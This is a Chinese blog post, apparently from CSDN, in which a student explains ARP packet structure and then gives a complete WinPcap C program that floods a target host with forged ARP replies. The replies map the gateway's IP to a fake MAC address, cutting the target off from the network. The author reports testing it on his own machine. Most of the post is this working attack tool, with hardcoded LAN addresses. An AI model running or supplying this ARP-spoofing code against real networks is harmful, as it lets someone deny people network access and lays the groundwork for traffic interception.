初探ARP攻击

    学校里是局域网,而且过上十天半个月就会有ARP攻击泛滥。最一开始并不知道什么是ARP,知道ARP后还是不知道什么是ARP攻击。今天看了一个教程,了解了常规的ARP攻击的的方法。从协议报文外看其实就是发送修改后的报文使目的机器找不到上网的连接,局域网大都是通过网关上网的,IP不是唯一的,但MAC网卡地址是全球唯一的,所以把目的地址的ARP缓存中的网关的MAC地址修改成错误的MAC地址,目的机器就找不到网关也就不能上网了。

    掌握各种协议报文很有必要,但在这里大概提一下ARP协议报文结构:

    一个完整的ARP报文由三部分组成:ARP头 物理帧和ARP帧。

   物理帧由:接收方MAC(6bytes),发送方MAC(6bytes)和以太网类型(0x0806)

   ARP帖由:硬件类型,上层协议类型(2),MAC地址长度(2),IP地址长度(1),操作码(2),

                    发方MAC(6),发方端口(4),收方MAC(6),收方端口(4),填充数据(18)

  

   此程序用到了WinpCap软件源库packet.lib和头文件packet32.h,调用了一些方法可以直接从网卡里读取数据报文。

  1. #include "winsock2.h"
  2. #include "Packet32.h"
  3. #include "stdio.h"
  4. #include "Iphlpapi.h"
  5. #pragma comment(lib, "packet.lib")
  6. #pragma comment(lib, "ws2_32.lib")
  7. #pragma comment(lib,"iphlpapi.lib")
  8. #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式
  9. #pragma pack(push, 1)
  10. //以太网物理帧头部
  11. typedef struct _et_header    
  12. {
  13.     unsigned char   eh_dst[6];  
  14.     unsigned char   eh_src[6];
  15.     unsigned short  eh_type;
  16. }ET_HEADER;
  17. //ARP帧头部
  18. typedef struct _arp_header   
  19. {
  20.     unsigned short  arp_hdr;
  21.     unsigned short  arp_pro;
  22.     unsigned char   arp_hln;
  23.     unsigned char   arp_pln;
  24.     unsigned short  arp_opt;
  25.     unsigned char   arp_sha[6];
  26.     unsigned long   arp_spa;
  27.     unsigned char   arp_tha[6];
  28.     unsigned long   arp_tpa;
  29. }ARP_HEADER;
  30. //将被传递到监听线程的信息结构
  31. typedef struct info     
  32. {
  33.     LPADAPTER   lpAdapter;
  34.     char        localIP[20];
  35.     char        simulateIP[20];
  36.     char        targetIP[20];
  37. }INFO;
  38. // 网卡信息
  39. typedef struct tagAdapterInfo          
  40. {
  41.       char  szDeviceName[128];           // 名字
  42.       char  szIPAddrStr[16];             // IP
  43.       char  szHWAddrStr[18];             // MAC
  44.       DWORD dwIndex;                    // 编号          
  45. }INFO_ADAPTER, *PINFO_ADAPTER;
  46. //
  47. INFO_ADAPTER infoAdapterList[10];
  48. #pragma pack(pop)
  49. //IP报头部
  50. typedef struct _ip_header
  51. {
  52.     unsigned char   h_verlen;   //4位IP版本号+4位首部长度
  53.     unsigned char   tos;        //8位服务类型TOS
  54.     unsigned short  total_len;  //16位总长度(字节)
  55.     unsigned short  ident;      //16位标识
  56.     unsigned short  frag_and_flags; //3位标志位+13位分段偏移量
  57.     unsigned char   ttl;        //8位生存时间 TTL
  58.     unsigned char   proto;      //8位协议 (TCP, UDP 或其他)
  59.     unsigned short  checksum;   //16位IP首部校验和
  60.     unsigned int    sourceIP;   //32位源IP地址
  61.     unsigned int    destIP;     //32位目的IP地址
  62. }IP_HEADER;
  63. void usage()
  64. {
  65.     printf("Name : Richard/r/n");
  66.     printf("MSN  : hdqu@hotmail.com/r/n");
  67.     printf("Usage: ARPSender targetIP simuIP fakeMAC/r/n/r/n");
  68. }
  69. int GetLocalAdapterList()
  70. {
  71.     char                tempChar;
  72.     ULONG               uListSize=1;
  73.     PIP_ADAPTER_INFO    pAdapter;           // 定义PIP_ADAPTER_INFO结构存储网卡信息
  74.     int                 nAdapterIndex = 0;
  75.     
  76.     //获得网卡列表信息串长度
  77.     DWORD   dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
  78.     printf("/r/nTry to get adapter list.../r/n");
  79.     if (dwRet == ERROR_BUFFER_OVERFLOW)
  80.     {
  81.         PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
  82.         dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
  83.         if (dwRet == ERROR_SUCCESS)
  84.         {
  85.             pAdapter = pAdapterListBuffer;
  86.             // 枚举网卡然后将相关条目添加到List中
  87.             while (pAdapter)      
  88.             {
  89.                 // 网卡名字
  90.                 char strTemp[128];
  91.                 strcpy(strTemp, "//Device//NPF_");                     
  92.                 strcat(strTemp, pAdapter->AdapterName);                        // 加上前缀              
  93.                 strcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
  94.                 // IP
  95.                 strcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String );
  96.                 // MAC
  97.                 sprintf( infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x", /
  98.                     pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2], /
  99.                    pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
  100.                 // 网卡编号
  101.                 infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;          
  102.                 pAdapter = pAdapter->Next;
  103.                 nAdapterIndex ++;
  104.             }
  105.             delete pAdapterListBuffer;
  106.         }
  107.         return nAdapterIndex;
  108.     }
  109.     return 0;
  110. }
  111. void StrToMac(char *str,unsigned char *mac)  //自定义的将字符串转换成mac地址的函数
  112. {
  113.     char *str1;
  114.     int i;
  115.     int low,high;
  116.     char temp;
  117.     for(i=0;i<6;i++)
  118.     {
  119.         str1=str+1;
  120.         switch(*str)
  121.         {
  122.         case 'a':high=10;
  123.             break;
  124.         case 'b':high=11;
  125.             break;
  126.             case 'c':high=12;
  127.             break;
  128.             case 'd':high=13;
  129.             break;
  130.         case 'e':high=14;
  131.             break;
  132.         case 'f':high=15;
  133.             break;
  134.         default:temp=*str;
  135.            high=atoi(&temp);
  136.         }
  137.         switch(*str1)
  138.         {
  139.         case 'a':low=10;
  140.             break;
  141.         case 'b':low=11;
  142.             break;
  143.             case 'c':low=12;
  144.             break;
  145.             case 'd':low=13;
  146.             break;
  147.         case 'e':low=14;
  148.             break;
  149.         case 'f':low=15;
  150.             break;
  151.         default:temp=*str1;
  152.            low=atoi(&temp); 
  153.         }
  154.         mac[i]=high*16+low;
  155.         str+=2;
  156.     }
  157. }
  158. bool GetRemoteMac(unsigned char *remoteMac,char *remoteIP)            //获取远程主机MAC地址
  159. {
  160.     WSADATA wsaData;
  161.     ULONG remoteAddr=0,macAddrLen=6;
  162.     unsigned char remoteMacTemp[6]={0}; 
  163.     if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
  164.     {
  165.         printf("WSAStartup error!/n");
  166.         return FALSE;
  167.     }
  168.     remoteAddr=inet_addr(remoteIP);
  169.     if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
  170.     {
  171.         printf("Get remote MAC failed!/n");
  172.         return FALSE;
  173.     }
  174.     memcpy(remoteMac,remoteMacTemp,6);
  175.     
  176.     printf("Remote IP: %s   MAC: ", remoteIP);
  177.     for(int i=0; i<6; i++ )
  178.     {
  179.         printf( "%.2x", remoteMac[i] );
  180.     }
  181.     printf("/r/n");
  182.     return TRUE;
  183. }
  184. int main(int argc, char* argv[])
  185. {
  186.     LPADAPTER       lpAdapter;
  187.     LPPACKET        lpPacket;
  188.     ET_HEADER       et_header;
  189.     ARP_HEADER      arp_header;
  190.     char            buffer[512]={0};
  191.     INFO            param={0};
  192.     int             index = 0;
  193.     int             adaptercount = 0;
  194.     usage();
  195.     /*if(argc != 4)
  196.     {
  197.         return -1;
  198.     }*/
  199.     unsigned char remoteMac[6] = {0};
  200.     unsigned char fakeMac[6]   = {0};
  201.     //获取目标真实MAC地址
  202.     if(GetRemoteMac(remoteMac, "10.1.16.103"/*argv[1]*/) == FALSE)
  203.     {
  204.         return -1;
  205.     }
  206.     
  207.     //获得适配器列表
  208.     adaptercount = GetLocalAdapterList();
  209.     
  210.     //通过转换得到用户输入的虚假MAC地址
  211.     StrToMac(/*argv[3]*/"222222222222", fakeMac);
  212.     
  213.     for(int i = 0; i< adaptercount; i++)
  214.         printf("%d: %s: %s/n/n",i,infoAdapterList[i].szIPAddrStr,infoAdapterList[i].szDeviceName);
  215.     
  216.     printf("Select a working adapter by number:");
  217.     while(TRUE)
  218.     {
  219.         scanf("%d",&index);
  220.         if(index >= 0 && index < adaptercount) break;
  221.     }
  222.     //打开适配器
  223.     lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)infoAdapterList[index].szDeviceName); 
  224.     if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
  225.     {
  226.         printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
  227.         return -1;
  228.     } 
  229.     //伪造ARP应答包
  230.     memcpy(et_header.eh_src, fakeMac,   6);
  231.     memcpy(et_header.eh_dst, remoteMac, 6);
  232.     et_header.eh_type=htons(0x0806);  //类型为0x0806表示这是ARP包
  233.     arp_header.arp_hdr=htons(0x0001);  //硬件地址类型以太网地址
  234.     arp_header.arp_pro=htons(0x0800);  //协议地址类型为IP协议
  235.     arp_header.arp_hln=0x06;           //硬件地址长度为6
  236.     arp_header.arp_pln=0x04;           //协议地址长度为4
  237.     arp_header.arp_opt=htons(0x0002);  //标识为ARP应答
  238.     arp_header.arp_spa=inet_addr(/*argv[2]*/"10.1.19.254");  //source_ip
  239.     memcpy(arp_header.arp_sha,et_header.eh_src,6);
  240.     arp_header.arp_tpa=inet_addr(/*argv[1]*/"10.1.16.103");  //target_ip
  241.     memcpy(arp_header.arp_tha,et_header.eh_dst,6);
  242.     memcpy(buffer,&et_header,sizeof(ET_HEADER));
  243.     memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
  244.     //给PACKET结构指针分配内存
  245.     lpPacket=PacketAllocatePacket();     
  246.     //初始化PACKET结构指针
  247.     PacketInitPacket(lpPacket,buffer,64);   
  248.             
  249.     //设置发送次数
  250.     if(PacketSetNumWrites(lpAdapter, 2) == FALSE)   
  251.     {
  252.         printf("warning: Unable to send more than one packet in a single write!/n");
  253.     }
  254.     //不断发送伪造的ARP应答包欺骗目标主机
  255.     while(TRUE)
  256.     {
  257.         struct in_addr sAddr, tAddr;
  258.         sAddr.S_un.S_addr = arp_header.arp_spa;
  259.         tAddr.S_un.S_addr = arp_header.arp_tpa;
  260.         printf("send fake %s:%02x-%02x-%02x-%02x-%02x-%02x ", /
  261.             inet_ntoa(sAddr), /
  262.             fakeMac[0], fakeMac[1], fakeMac[2], fakeMac[3], fakeMac[4], fakeMac[5]);
  263.         printf("to %s:%02x-%02x-%02x-%02x-%02x-%02x/r/n"
  264.             inet_ntoa(tAddr), /
  265.             remoteMac[0], remoteMac[1], remoteMac[2], remoteMac[3], remoteMac[4], remoteMac[5]);
  266.         if(PacketSendPacket(lpAdapter,lpPacket,TRUE) == FALSE) 
  267.         {
  268.             printf("Error sending the packets!/n");
  269.             break;
  270.         }
  271.         Sleep(2000);
  272.     }
  273.     PacketFreePacket(lpPacket);   //释放PACKET结构指针
  274.     PacketCloseAdapter(lpAdapter);  //关闭适配器
  275.     return 0;
  276. }

   程序攻击本地机器使用cmd-->arp -a 查看 10.1.19.254对应的MAC的地址改成了自定义的22-22-22-22-22-22,打开浏览器输入网址打不开链接,但刷新ARP缓存时我看到有时10.1.19.254对应的MAC地址会改成正确的,应该是网关一直在广播ARP报文,而本地程序具有一定的时间延迟,所以造成网络有时可以缓慢的打开一些网页。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值